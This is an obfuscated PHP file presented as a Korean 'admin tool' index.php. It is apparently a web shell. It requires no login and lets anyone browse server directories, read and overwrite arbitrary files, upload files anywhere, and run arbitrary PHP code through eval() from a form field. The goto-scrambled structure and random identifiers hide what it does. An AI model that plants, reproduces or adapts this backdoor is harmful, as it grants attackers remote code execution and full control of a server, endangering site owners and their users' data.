관리-도구
편집 파일: index.php
<?php //chu!(◦˘ ³(♡ŐωŐ♡(´ᴗ`ʃƪ)谢谢你 goto GcfV1; zaHJd: echo "<form method=\"post\">"; goto kK3u1; DLKS0: echo "<input type=\"submit\" value=\"실행\">"; goto cSGbZ; i2APJ: Ll6dM($KTIyk, $_FILES["파일"]); goto op0QL; vMsmM: fgKKZ: goto cZWP2; Yb_dg: echo "<p>" . B2a_J($KTIyk) . "</p>"; goto IFv4k; EoIYR: dU4V7($_POST["PHP코드"]); goto rCTBU; d_Juk: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["파일"]))) { goto KcU6Z; } goto i2APJ; V6mo2: function Ll6Dm($KTIyk, $uEoM6) { goto QrF1_; jkBmq: yAMry: goto hSsfB; zya31: echo "파일 업로드 성공: " . htmlspecialchars($uEoM6["name"]); goto jkBmq; au04e: goto yAMry; goto eiGG5; XNOzf: if (@move_uploaded_file($uEoM6["tmp_name"], $uJGxz)) { goto wcN4M; } goto yoo7x; yoo7x: echo "파일 업로드 실패."; goto au04e; eiGG5: wcN4M: goto zya31; QrF1_: $uJGxz = $KTIyk . "/" . basename($uEoM6["name"]); goto XNOzf; hSsfB: } goto lKnKZ; lKnKZ: function dU4V7($XZHO6) { try { goto JbxpV; JbxpV: ob_start(); goto OjcME; iWOho: echo "<div style=\"background-color:#333; padding:10px;\">" . htmlspecialchars($dahWV) . "</div>"; goto m2Z_f; WBl9F: $dahWV = ob_get_clean(); goto iWOho; OjcME: eval($XZHO6); goto WBl9F; m2Z_f: } catch (Throwable $pJ0gh) { echo "오류: " . htmlspecialchars($pJ0gh->getMessage()); } } goto GdAKB; GcfV1: echo "<!DOCTYPE html>\r\n<html lang=\"ko\">\r\n<head>\r\n <meta charset=\"UTF-8\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n <title>관리-도구</title>\r\n <style>\r\n body {\r\n font-family: Arial, sans-serif;\r\n background-color: #000;\r\n color: #fff;\r\n margin: 0;\r\n padding: 0;\r\n }\r\n #container {\r\n max-width: 800px;\r\n margin: 20px auto;\r\n padding: 20px;\r\n border: 1px solid #444;\r\n border-radius: 5px;\r\n background-color: #222;\r\n }\r\n h1, h2, h3 {\r\n color: #bbb;\r\n }\r\n ul {\r\n list-style-type: none;\r\n padding: 0;\r\n }\r\n li {\r\n margin-bottom: 10px;\r\n }\r\n a {\r\n text-decoration: none;\r\n color: #1e90ff;\r\n }\r\n input, textarea {\r\n background-color: #333;\r\n color: #fff;\r\n border: 1px solid #555;\r\n padding: 5px;\r\n width: 100%;\r\n margin-bottom: 10px;\r\n }\r\n input[type=\"submit\"] {\r\n cursor: pointer;\r\n }\r\n hr {\r\n border: 0;\r\n height: 1px;\r\n background-color: #444;\r\n }\r\n textarea {\r\n height: 150px;\r\n }\r\n </style>\r\n</head>\r\n<body>\r\n <div id=\"container\">\r\n <h1>관리-도구</h1>\r\n\r\n "; goto zLmHx; zLmHx: function GmFX6($dovmY) { return htmlspecialchars(strip_tags($dovmY)); } goto pJFi7; pJFi7: function XqCDW($xNoTb) { goto IXues; WQjaI: zOrbL: goto GvnRZ; IXues: $D43wQ = ["B", "KB", "MB", "GB", "TB"]; goto ukli6; ukli6: if (!($xNoTb == 0)) { goto zOrbL; } goto P_DFu; P_DFu: return "0 B"; goto WQjaI; GvnRZ: $A5EAK = floor(log($xNoTb, 1024)); goto j3gsW; j3gsW: return @round($xNoTb / pow(1024, $A5EAK), 2) . " " . $D43wQ[$A5EAK]; goto YSVzl; YSVzl: } goto nL8vp; QLUQU: sVhh6: goto d_Juk; gUVtP: cDAkm($KTIyk); goto TEZa_; nL8vp: function b2a_j($KTIyk) { goto QaboX; NnpfP: foreach ($yQNT5 as $tFxzJ => $lOiHj) { goto l4Qeu; jCBKY: Zbexf: goto NMwVt; NgYlG: $iSUjC[] = "/"; goto x01o5; wFdwG: U6D0X: goto xBvrt; B7haw: KS1QG: goto EU9IA; EU9IA: if (!($lOiHj === '')) { goto V04SI; } goto tOOnl; xBvrt: if (!($senuH <= $tFxzJ)) { goto Zbexf; } goto dSBsG; x01o5: KHfWN: goto I1kIN; uctLZ: goto U6D0X; goto jCBKY; l4Qeu: if (!($lOiHj === '' && $tFxzJ === 0)) { goto KS1QG; } goto B1QTr; B1QTr: $iSUjC[] = "<a href=\"?경로=/\">/</a>"; goto qnnnO; qnnnO: goto V1h7o; goto B7haw; dSBsG: $iSUjC[] = $yQNT5[$senuH]; goto C9cOd; C9cOd: if (!($senuH != $tFxzJ)) { goto KHfWN; } goto NgYlG; Jx44R: $iSUjC[] = "<a href=\"?경로="; goto o8b2p; tOOnl: goto V1h7o; goto mUJ2U; mUJ2U: V04SI: goto Jx44R; I1kIN: oxPnh: goto AtczB; UxEzg: V1h7o: goto zX029; o8b2p: $senuH = 0; goto wFdwG; NMwVt: $iSUjC[] = "\">" . $lOiHj . "</a>/"; goto UxEzg; AtczB: $senuH++; goto uctLZ; zX029: } goto Ichmc; K5mJl: return implode('', $iSUjC); goto MJvKM; QaboX: $KTIyk = str_replace("\\", "/", $KTIyk); goto nzzkl; nzzkl: $yQNT5 = explode("/", $KTIyk); goto J0aEg; J0aEg: $iSUjC = []; goto NnpfP; Ichmc: dZ1z3: goto K5mJl; MJvKM: } goto Qehii; SZ8aU: if (isset($_GET["작업"]) && $_GET["작업"] === "편집" && isset($_GET["파일"])) { goto fgKKZ; } goto LWMXH; op0QL: KcU6Z: goto VZR2C; ye7hm: goto MSt1m; goto H1GlK; TEZa_: echo "<hr>"; goto Mu1gK; gvhdK: function xjR47($xfbxd) { goto PM0rC; c03RR: echo "<textarea name=\"파일내용\">" . htmlspecialchars($IIlLo) . "</textarea><br>"; goto j27L9; hhfiQ: echo "<form method=\"post\">"; goto c03RR; v9__j: QjrdO: goto kITGm; kITGm: SwxXw: goto QWYxx; QWYxx: $IIlLo = @file_get_contents($xfbxd) ?: ''; goto hhfiQ; LUAmd: if (@file_put_contents($xfbxd, $IIlLo) !== false) { goto wU7WZ; } goto Kln19; alaHs: goto QjrdO; goto JW8ay; iAKIJ: echo "</form>"; goto G_9dr; Kln19: echo "파일 저장 실패."; goto alaHs; X4B0c: $IIlLo = $_POST["파일내용"]; goto LUAmd; JW8ay: wU7WZ: goto NmVxE; PM0rC: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["파일내용"]))) { goto SwxXw; } goto X4B0c; NmVxE: echo "파일 저장 성공."; goto v9__j; j27L9: echo "<input type=\"submit\" value=\"저장\">"; goto iAKIJ; G_9dr: } goto V6mo2; Qehii: function CDaKM($KTIyk) { goto BxxLs; in_pv: foreach ($yNUIv as $zj00_) { goto n610W; V43tb: gEcel: goto W6Ltn; JzbYR: XciT0: goto GmjN2; AEaCf: if (@is_dir($RAKTL)) { goto XciT0; } goto l7zM7; OZgiy: goto gEcel; goto H9LoI; H9LoI: JbYWW: goto X7wlf; QXIL3: goto wNwf0; goto JzbYR; n610W: if (!($zj00_ === "." || $zj00_ === "..")) { goto JbYWW; } goto OZgiy; l7zM7: $B6uDi = @filesize($RAKTL); goto hRdKU; npP_v: wNwf0: goto V43tb; X7wlf: $RAKTL = $KTIyk . "/" . $zj00_; goto AEaCf; LGvt9: $BA20Y[] = "<li><strong>파일:</strong> <a href=\"?작업=편집&파일=" . urlencode($zj00_) . "&경로=" . urlencode($KTIyk) . "\">" . $zj00_ . "</a> (" . $ZgEHt . ")</li>"; goto QXIL3; hRdKU: $ZgEHt = $B6uDi === false || $B6uDi === 0 ? "0 B" : XQcdw($B6uDi); goto LGvt9; GmjN2: $JJYGq[] = "<li><strong>폴더:</strong> <a href=\"?경로=" . urlencode($RAKTL) . "\">" . $zj00_ . "</a></li>"; goto npP_v; W6Ltn: } goto k0ilp; bTwTs: echo "</ul>"; goto SUqUs; PW2rE: PPFku: goto VouiR; ekNi6: $BA20Y = []; goto in_pv; PhSQD: echo "<ul>"; goto OsOE1; VouiR: echo implode('', $BA20Y); goto bTwTs; k0ilp: L7Bvy: goto PhSQD; pOjtn: if (!(!empty($JJYGq) && !empty($BA20Y))) { goto PPFku; } goto nryX4; OsOE1: echo implode('', $JJYGq); goto pOjtn; L9HyX: $JJYGq = []; goto ekNi6; nryX4: echo "<hr>"; goto PW2rE; BxxLs: $yNUIv = @scandir($KTIyk) ?: []; goto L9HyX; SUqUs: } goto gvhdK; vHIK_: echo "<h3>결과:</h3>"; goto EoIYR; i3jFC: if (@file_exists($xfbxd)) { goto LNJMX; } goto xBJ6A; H1GlK: LNJMX: goto fEsmz; PrRDf: goto sVhh6; goto vMsmM; y_SKI: $xfbxd = $KTIyk . "/" . $uEoM6; goto i3jFC; rCTBU: fYelw: goto fvrIO; WmYiU: xJr47($xfbxd); goto GxP36; GxP36: MSt1m: goto QLUQU; lP1UD: echo "<input type=\"file\" name=\"파일\"><br>"; goto K33SB; LWMXH: echo "<h2>경로: " . htmlspecialchars($KTIyk) . "</h2>"; goto Yb_dg; wmN_i: echo "<form method=\"post\" enctype=\"multipart/form-data\">"; goto lP1UD; fEsmz: echo "<h2>편집 파일: {$uEoM6}</h2>"; goto WmYiU; IFv4k: echo "<h3>폴더 내용:</h3>"; goto gUVtP; cSGbZ: echo "</form>"; goto PrRDf; cZWP2: $uEoM6 = $_GET["파일"]; goto y_SKI; K33SB: echo "<input type=\"submit\" value=\"업로드\">"; goto cLY0L; cLY0L: echo "</form>"; goto li1bw; li1bw: echo "<h3>PHP 코드 실행:</h3>"; goto zaHJd; VZR2C: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["PHP코드"]))) { goto fYelw; } goto vHIK_; GdAKB: $KTIyk = $_GET["경로"] ?? getcwd(); goto SZ8aU; kK3u1: echo "<textarea name=\"PHP코드\"></textarea><br>"; goto DLKS0; xBJ6A: echo "파일이 존재하지 않습니다."; goto ye7hm; Mu1gK: echo "<h3>파일 업로드:</h3>"; goto wmN_i; fvrIO: echo " </div>\r\n</body>\r\n</html>";